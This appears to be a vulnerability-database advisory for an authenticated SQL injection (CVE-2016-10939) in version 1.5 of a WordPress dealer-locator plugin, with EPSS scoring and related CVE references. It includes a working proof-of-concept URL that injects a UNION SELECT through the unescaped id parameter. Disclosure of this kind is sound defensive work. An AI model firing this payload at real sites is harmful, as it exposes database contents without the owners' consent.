Lucene search
Lenon LeiteWPEX-ID:227BA3C3-2509-484A-B358-4C3271EDA47BHistoryDec 14, 2016 - 12:00 a.m.
Xtreme Locator Dealer Locator Plugin 1.5 – Authenticated SQL Injection
2016-12-1400:00:00
Lenon Leite
7
0.001 Low
EPSS
Percentile
39.5%
Type user access: admins user. $_GET[‘id’] is not escaped. Is accessible for only admins user.
1 - logged with admin user;
2 - send resquest get;
http://www.example.com/wp-admin/admin.php?page=xtreme-locator-settings&id=0+UNION+ALL+SELECT+1%2Cslug%2Cname%2C4%2C5+FROM+wp_terms+WHERE+term_id%3D1Related
cve
cve
CVE-2016-10939
2019-09-13 12:15:10
wpvulndb
wpvulndb
Xtreme Locator Dealer Locator Plugin 1.5 – Authenticated SQL Injection
2016-12-14 00:00:00
prion
prion
Sql injection
2019-09-13 12:15:00
cvelist
cvelist
CVE-2016-10939
2019-09-13 11:47:37
nvd
nvd
CVE-2016-10939
2019-09-13 12:15:10